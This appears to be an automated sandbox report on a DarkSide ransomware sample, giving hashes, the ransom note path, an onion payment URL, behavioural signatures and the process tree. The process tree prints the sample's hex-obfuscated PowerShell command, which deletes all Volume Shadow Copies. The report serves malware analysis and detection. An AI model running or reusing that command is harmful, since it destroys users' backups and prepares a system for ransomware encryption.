Resubmissions
27/01/2024, 19:37
240127-yb5pksafd3 1027/01/2024, 19:36
240127-ybqwesafc2 1012/05/2021, 15:56
210512-db4t7vmwas 10Analysis
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max time kernel
92s -
max time network
149s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
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submitted
27/01/2024, 19:37
General
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Target
0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
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Size
59KB
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MD5
885fc8fb590b899c1db7b42fe83dddc3
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SHA1
c104056f9a926d27a2082f0510c97b09cb0eb3e5
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SHA256
0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d
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SHA512
2b8e49ad84434dcaf98635120ac54bfa7e55bb61bf9d0e3f1f25ab81e950f638311d2121217bf5840834778d5e137551e24b89da02f12dc6be99d755c54f4c13
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SSDEEP
768:vjjmbIax7F3DS4/S9+CuUSbVAdNcxGV1yl3XsY23W58:0x7Fu4/ihrhDTV1ylHXZ58
Malware Config
Extracted
C:\Users\README.cc8279bb.TXT
darkside
http://darksidfqzcuhtk2.onion/LYID3U99RAJSTEYEFWS6SLYDGMUXKNAT3OPKN9D56PIGX1QHBU5DHGUN4HGMX2IW
Signatures
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DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
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Renames multiple (169) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
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Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Sets desktop wallpaper using registry 2 TTPs 2 IoCs
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Modifies Control Panel 1 IoCs
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Modifies registry class 5 IoCs
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Suspicious behavior: EnumeratesProcesses 4 IoCs
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Suspicious use of AdjustPrivilegeToken 25 IoCs
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Suspicious use of WriteProcessMemory 2 IoCs
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Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe"C:\Users\Admin\AppData\Local\Temp\0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe"1⤵
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
3KB
MD5556084f2c6d459c116a69d6fedcc4105
SHA1633e89b9a1e77942d822d14de6708430a3944dbc
SHA25688cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8
SHA5120f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e
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Filesize
1KB
MD51e674e03a1292678c1aeab7010a77a6c
SHA1de005829eda4db62abec97cfeaa98121448da018
SHA2569bbd6466b0a2aa528cb66cfc3729f91f623b1d5d6d24cb4ebea3159e8284d3ea
SHA51236dde97decf9342cd5314ea62842bdd0f3c0698eee4a782244879eb07c0a9ca4de8f3dfbb3bc03a5fd1af7720cbd47976a3e44434ae20a900507143bee9e02d1
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
136KB
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Filesize
64KB
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Filesize
64KB
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Filesize
10.8MB
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Filesize
10.8MB